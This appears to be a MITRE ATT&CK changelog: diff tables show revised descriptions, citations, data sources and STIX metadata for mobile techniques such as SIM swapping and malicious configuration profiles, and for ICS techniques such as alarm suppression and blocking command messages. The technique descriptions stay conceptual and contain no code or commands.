| > | ap2). The adversary could then obtain SMS messages or hijack | > | p2) The adversary could then obtain SMS messages or hijack p | ||
| > | phone calls intended for someone else (Citation: Betanews-S | > | hone calls intended for someone else.(Citation: Betanews-Sim | ||
| > | imswap). One use case is intercepting authentication messa | > | swap) One use case is intercepting authentication messages | ||
| > | ges or phone calls to obtain illicit access to online bankin | > | or phone calls to obtain illicit access to online banking or | ||
| > | g or other online accounts, as many online services allow ac | > | other online accounts, as many online services allow accoun | ||
| > | count password resets by sending an authentication code over | > | t password resets by sending an authentication code over SMS | ||
| > | SMS to a phone number associated with the account (Citation | > | to a phone number associated with the account.(Citation: Gu | ||
| > | : Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citatio | > | ardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Kr | ||
| > | n: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | > | ebs-SimSwap)(Citation: TechCrunch-SimSwap) | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Karim Hasanen, @_karimhasanen'] | |
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 14:13:24.168000+00:00 | 2021-09-30 18:45:26.323000+00:00 |
| description | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap) One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Malicious applications are a common attack vector used by ad | t | 1 | Malicious applications are a common attack vector used by ad |
| > | versaries to gain a presence on mobile devices. This techniq | > | versaries to gain a presence on mobile devices. This techniq | ||
| > | ue describes installing a malicious application on targeted | > | ue describes installing a malicious application on targeted | ||
| > | mobile devices without involving an authorized app store (e. | > | mobile devices without involving an authorized app store (e. | ||
| > | g., Google Play Store or Apple App Store). Adversaries may w | > | g., Google Play Store or Apple App Store). Adversaries may w | ||
| > | ish to avoid placing malicious applications in an authorized | > | ish to avoid placing malicious applications in an authorized | ||
| > | app store due to increased potential risk of detection or o | > | app store due to increased potential risk of detection or o | ||
| > | ther reasons. However, mobile devices often are configured t | > | ther reasons. However, mobile devices often are configured t | ||
| > | o allow application installation only from an authorized app | > | o allow application installation only from an authorized app | ||
| > | store which would prevent this technique from working. Del | > | store which would prevent this technique from working. Del | ||
| > | ivery methods for the malicious application include: * [Spe | > | ivery methods for the malicious application include: * [Spe | ||
| > | arphishing Attachment](https://attack.mitre.org/techniques/T | > | arphishing Attachment](https://attack.mitre.org/techniques/T | ||
| > | 1193) - Including the mobile app package as an attachment to | > | 1566/001) - Including the mobile app package as an attachmen | ||
| > | an email message. * [Spearphishing Link](https://attack.mit | > | t to an email message. * [Spearphishing Link](https://attack | ||
| > | re.org/techniques/T1192) - Including a link to the mobile ap | > | .mitre.org/techniques/T1566/002) - Including a link to the m | ||
| > | p package within an email, text message (e.g. SMS, iMessage, | > | obile app package within an email, text message (e.g. SMS, i | ||
| > | Hangouts, WhatsApp, etc.), web site, QR code, or other mean | > | Message, Hangouts, WhatsApp, etc.), web site, QR code, or ot | ||
| > | s. * Third-Party App Store - Installed from a third-party ap | > | her means. * Third-Party App Store - Installed from a third- | ||
| > | p store (as opposed to an authorized app store that the devi | > | party app store (as opposed to an authorized app store that | ||
| > | ce implicitly trusts as part of its default behavior), which | > | the device implicitly trusts as part of its default behavior | ||
| > | may not apply the same level of scrutiny to apps as applied | > | ), which may not apply the same level of scrutiny to apps as | ||
| > | by an authorized app store.(Citation: IBTimes-ThirdParty)(C | > | applied by an authorized app store.(Citation: IBTimes-Third | ||
| > | itation: TrendMicro-RootingMalware)(Citation: TrendMicro-Fla | > | Party)(Citation: TrendMicro-RootingMalware)(Citation: TrendM | ||
| > | ppyBird) Some Android malware comes with functionality to i | > | icro-FlappyBird) Some Android malware comes with functional | ||
| > | nstall additional applications, either automatically or when | > | ity to install additional applications, either automatically | ||
| > | the adversary instructs it to.(Citation: android-trojan-ste | > | or when the adversary instructs it to.(Citation: android-tr | ||
| > | als-paypal-2fa) | > | ojan-steals-paypal-2fa) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-28 18:33:12.646000+00:00 | 2021-02-09 14:28:47.076000+00:00 |
| description | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could attempt to install insecure or malicious | t | 1 | An adversary could attempt to install insecure or malicious |
| > | configuration settings on the mobile device, through means s | > | configuration settings on the mobile device, through means s | ||
| > | uch as phishing emails or text messages either directly cont | > | uch as phishing emails or text messages either directly cont | ||
| > | aining the configuration settings as an attachment, or conta | > | aining the configuration settings as an attachment, or conta | ||
| > | ining a web link to the configuration settings. The device u | > | ining a web link to the configuration settings. The device u | ||
| > | ser may be tricked into installing the configuration setting | > | ser may be tricked into installing the configuration setting | ||
| > | s through social engineering techniques (Citation: Symantec- | > | s through social engineering techniques (Citation: Symantec- | ||
| > | iOSProfile). For example, an unwanted Certification Authori | > | iOSProfile). For example, an unwanted Certification Authori | ||
| > | ty (CA) certificate could be placed in the device's trusted | > | ty (CA) certificate could be placed in the device's trusted | ||
| > | certificate store, increasing the device's susceptibility to | > | certificate store, increasing the device's susceptibility to | ||
| > | man-in-the-middle network attacks seeking to eavesdrop on o | > | adversary-in-the-middle network attacks seeking to eavesdro | ||
| > | r manipulate the device's network communication ([Eavesdrop | > | p on or manipulate the device's network communication ([Eave | ||
| > | on Insecure Network Communication](https://attack.mitre.org/ | > | sdrop on Insecure Network Communication](https://attack.mitr | ||
| > | techniques/T1439) and [Manipulate Device Communication](http | > | e.org/techniques/T1439) and [Manipulate Device Communication | ||
| > | s://attack.mitre.org/techniques/T1463)). On iOS, malicious | > | ](https://attack.mitre.org/techniques/T1463)). On iOS, mali | ||
| > | Configuration Profiles could contain unwanted Certification | > | cious Configuration Profiles could contain unwanted Certific | ||
| > | Authority (CA) certificates or other insecure settings such | > | ation Authority (CA) certificates or other insecure settings | ||
| > | as unwanted proxy server or VPN settings to route the device | > | such as unwanted proxy server or VPN settings to route the | ||
| > | 's network traffic through an adversary's system. The device | > | device's network traffic through an adversary's system. The | ||
| > | could also potentially be enrolled into a malicious Mobile | > | device could also potentially be enrolled into a malicious M | ||
| > | Device Management (MDM) system (Citation: Talos-MDM). | > | obile Device Management (MDM) system (Citation: Talos-MDM). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-11-01 18:29:08.293000+00:00 |
| description | An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM). | An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM). |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:06:09.010000+00:00 | 2021-03-10 21:06:37.536000+00:00 |
| external_references[3]['url'] | https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/ | https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf |
Current version: 1.0
Description: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. (Citation: The MITRE Corporation) When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. (Citation: The MITRE Corporation)
Current version: 1.0
Description: Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. }}"
Current version: 1.0
Description: Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. (Citation: IEC February 2013) An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).
Current version: 1.0
Description: Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) (Citation: IEC February 2013) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.
Current version: 1.0
Description: Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. (Citation: The MITRE Corporation May 2017) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.
Current version: 1.0
Description: Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: Joe Slowik April 2019) Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) to multiple network segments, and can be used for [Program Download](https://attack.mitre.org/techniques/T0843) or to execute attacks on control devices directly through [Valid Accounts](https://attack.mitre.org/techniques/T0859). Specific remote services (RDP & VNC) may be a precursor to enable [Graphical User Interface](https://attack.mitre.org/techniques/T0823) execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface. (Citation: Pinellas County Sheriffs Office February 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks. (Citation: CISA AA21-201A Pipeline Intrusion July 2021)
Current version: 1.0
Description: An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the systems operational role and model information can dictate whether it is a relevant target for the adversarys operational objectives. In addition, the systems configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the systems API.
Current version: 1.0
Description: Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: North American Electric Reliability Corporation June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Marshall Abrams July 2008)
Current version: 1.0
Description: Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. (Citation: Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. April 2018) The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. (Citation: Bastille April 2017) Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. (Citation: Gallagher, S. April 2017) In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems. (Citation: Gallagher, S. April 2017)
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.886000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T800 | https://attack.mitre.org/techniques/T0800 |
| x_mitre_data_sources[0] | Application logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target protection function alarms to prevent | t | 1 | Adversaries may target protection function alarms to prevent |
| > | them from notifying operators of critical conditions. Alarm | > | them from notifying operators of critical conditions. Alarm | ||
| > | messages may be a part of an overall reporting system and o | > | messages may be a part of an overall reporting system and o | ||
| > | f particular interest for adversaries. Disruption of the ala | > | f particular interest for adversaries. Disruption of the ala | ||
| > | rm system does not imply the disruption of the reporting sys | > | rm system does not imply the disruption of the reporting sys | ||
| > | tem as a whole. In the Maroochy Attack, the adversary supp | > | tem as a whole. In the Maroochy Attack, the adversary supp | ||
| > | ressed alarm reporting to the central computer. (Citation: M | > | ressed alarm reporting to the central computer. (Citation: M | ||
| > | aroochy - MITRE - 200808) A Secura presentation on targetin | > | arshall Abrams July 2008) A Secura presentation on targetin | ||
| > | g OT notes a dual fold goal for adversaries attempting alarm | > | g OT notes a dual fold goal for adversaries attempting alarm | ||
| > | suppression: prevent outgoing alarms from being raised and | > | suppression: prevent outgoing alarms from being raised and | ||
| > | prevent incoming alarms from being responded to. (Citation: | > | prevent incoming alarms from being responded to. (Citation: | ||
| > | References - Secura - 2019) The method of suppression may gr | > | Jos Wetzels, Marina Krotofil 2019) The method of suppressio | ||
| > | eatly depend on the type of alarm in question: * An alarm r | > | n may greatly depend on the type of alarm in question: * An | ||
| > | aised by a protocol message * An alarm signaled with I/O * A | > | alarm raised by a protocol message * An alarm signaled with | ||
| > | n alarm bit set in a flag (and read) In ICS environments, t | > | I/O * An alarm bit set in a flag (and read) In ICS environ | ||
| > | he adversary may have to suppress or contend with multiple a | > | ments, the adversary may have to suppress or contend with mu | ||
| > | larms and/or alarm propagation to achieve a specific goal to | > | ltiple alarms and/or alarm propagation to achieve a specific | ||
| > | evade detection or prevent intended responses from occurrin | > | goal to evade detection or prevent intended responses from | ||
| > | g. (Citation: References - Secura - 2019) Methods of suppres | > | occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Me | ||
| > | sion may involve tampering or altering device displays and l | > | thods of suppression may involve tampering or altering devic | ||
| > | ogs, modifying in memory code to fixed values, or even tampe | > | e displays and logs, modifying in memory code to fixed value | ||
| > | ring with assembly level instruction code. | > | s, or even tampering with assembly level instruction code. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.889000+00:00 |
| description | Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Maroochy - MITRE - 200808) A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. (Citation: References - Secura - 2019) The method of suppression may greatly depend on the type of alarm in question: * An alarm raised by a protocol message * An alarm signaled with I/O * An alarm bit set in a flag (and read) In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code. | Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Marshall Abrams July 2008) A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. (Citation: Jos Wetzels, Marina Krotofil 2019) The method of suppression may greatly depend on the type of alarm in question: * An alarm raised by a protocol message * An alarm signaled with I/O * An alarm bit set in a flag (and read) In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T878 | https://attack.mitre.org/techniques/T0878 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[2]['source_name'] | References - Secura - 2019 | Jos Wetzels, Marina Krotofil 2019 |
| external_references[2]['description'] | Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019. | Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 |
| external_references[2]['url'] | https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf | https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm thresholds | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Jos Wetzels, Marina Krotofil 2019', 'description': 'Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 ', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf'} | |
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.889000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T802 | https://attack.mitre.org/techniques/T0802 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block a command message from reaching its in | t | 1 | Adversaries may block a command message from reaching its in |
| > | tended target to prevent command execution. In OT networks, | > | tended target to prevent command execution. In OT networks, | ||
| > | command messages are sent to provide instructions to control | > | command messages are sent to provide instructions to control | ||
| > | system devices. A blocked command message can inhibit respo | > | system devices. A blocked command message can inhibit respo | ||
| > | nse functions from correcting a disruption or unsafe conditi | > | nse functions from correcting a disruption or unsafe conditi | ||
| > | on. (Citation: Research - Research - Taxonomy Cyber Attacks | > | on. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 20 | ||
| > | on SCADA) In the 2015 attack on the Ukranian power grid, ma | > | 11) (Citation: Electricity Information Sharing and Analysis | ||
| > | licious firmware was used to render communication devices in | > | Center; SANS Industrial Control Systems March 2016) | ||
| > | operable and effectively prevent them from receiving remote | ||||
| > | command messages. (Citation: Ukraine15 - EISAC - 201603) | ||||
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.891000+00:00 |
| description | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T803 | https://attack.mitre.org/techniques/T0803 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
